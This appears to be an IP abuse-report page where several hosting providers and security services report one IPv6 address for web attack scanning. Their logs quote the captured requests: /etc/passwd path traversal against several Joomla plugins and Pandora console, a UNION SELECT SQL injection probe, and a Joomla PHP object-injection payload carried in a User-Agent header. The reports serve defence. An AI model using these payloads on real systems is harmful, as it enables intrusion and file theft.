🇳🇱
WeCloudit-Anti-Abuse
2026-10-10 04:12:47
(3 days ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-path-traversal-probing
Web App Attack
Hacking
🇩🇪
Didier Lagaert
2026-10-10 04:09:12
(3 days ago)
lie-12 : Block return, carriage return, ... characters=>/index.php?option=com_blogfactory&contro ...
show more
lie-12 : Block return, carriage return, ... characters=>/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00(
show less
Hacking
🇳🇱
Site.eu
2026-10-10 03:47:24
(3 days ago)
Excessive 404/403 errors
Brute-Force
🇳🇱
Alt255
2026-10-10 00:42:31
(3 days ago)
[ti-24al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Exam ...
show more
[ti-24al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 2a01:e5c0:25b2::2 - - [10/Oct/2026:02:42:16 +0200] "GET / HTTP/1.1" 200 8961 "-" "123}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\x9d\x8c\x86"
...
show less
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-10 00:07:13
(3 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 09 20:07:08.617869 2026] [security2:error] [pid 4531:tid 4531] [client 2a01:e5c0:25b2::2:52638] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||jabbosjingles.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "jabbosjingles.com"] [uri "/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php"] [unique_id "asmBrImS7XDVFS4d3iGcrAAAAG4"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-09 20:28:25
(3 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 09 16:28:18.830596 2026] [security2:error] [pid 10389:tid 10389] [client 2a01:e5c0:25b2::2:59634] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||hanabritgermanshepherds.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "hanabritgermanshepherds.com"] [uri "/components/com_moofaq/includes/file_includer.php"] [unique_id "aslOYnnGSRZyWNyuEjeOtwAAABA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
claude CALVET
2026-10-09 18:50:23
(3 days ago)
gee-13 : Block SQL injections=>/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5( ...
show more
gee-13 : Block SQL injections=>/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5(999999999),3,4,5,6,7,8--
show less
Hacking
🇺🇸
TPI-Abuse
2026-10-09 15:30:26
(3 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 09 11:30:22.891688 2026] [security2:error] [pid 22123:tid 22123] [client 2a01:e5c0:25b2::2:33632] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||etudesoftware.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "etudesoftware.com"] [uri "/components/com_moofaq/includes/file_includer.php"] [unique_id "askIjiIXWkNBu3gGbQ1e_wAAABQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-09 11:56:56
(3 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 09 07:56:48.771687 2026] [security2:error] [pid 10348:tid 10374] [client 2a01:e5c0:25b2::2:45396] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||delapiazza.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pandora_console/ajax.php?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "delapiazza.com"] [uri "/pandora_console/ajax.php"] [unique_id "asjWgOy8ILf0wkCwA-C2QgAAABg"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇩🇪
conseilgouz
2026-10-09 10:29:16
(3 days ago)
coe-16 : Block Shell attacks=>/pandora_console/ajax.php?page=../../../../../../etc/passwd
Hacking
🇳🇱
Mangelot Hosting
2026-10-09 04:46:12
(4 days ago)
(modsec_attack) srv102 ModSecurity attack 2a01:e5c0:25b2::2 (FR/France/-): 3 in the last 3600 secs; ...
show more
(modsec_attack) srv102 ModSecurity attack 2a01:e5c0:25b2::2 (FR/France/-): 3 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_CUSTOMTRIGGER; Logs:
show less
Web App Attack
🇳🇱
WeCloudit-Anti-Abuse
2026-10-09 03:25:01
(4 days ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-path-traversal-probing
Web App Attack
Hacking
🇫🇷
conseilgouz
2026-10-09 02:43:21
(4 days ago)
ame-13 : Block SQL injections=>/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extens ...
show more
ame-13 : Block SQL injections=>/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&pare...()md5)
show less
Hacking
🇺🇸
TPI-Abuse
2026-10-09 01:04:15
(4 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 08 21:04:07.469623 2026] [security2:error] [pid 4633:tid 4633] [client 2a01:e5c0:25b2::2:33310] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||acmax.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "acmax.com"] [uri "/components/com_moofaq/includes/file_includer.php"] [unique_id "asg9hwZAphFYP9oMQw-IAAAAAAg"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-08 20:45:46
(4 days ago)
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 ...
show more
(mod_security) mod_security (id:211190) triggered by 2a01:e5c0:25b2::2 (Unknown): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 08 16:45:40.597932 2026] [security2:error] [pid 15245:tid 15245] [client 2a01:e5c0:25b2::2:39906] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||mainescentsecrets.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mainescentsecrets.com"] [uri "/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php"] [unique_id "asgA9H2bJqUAG26iPn4WZwAAAAs"]
show less
Brute-Force
Bad Web Bot
Web App Attack
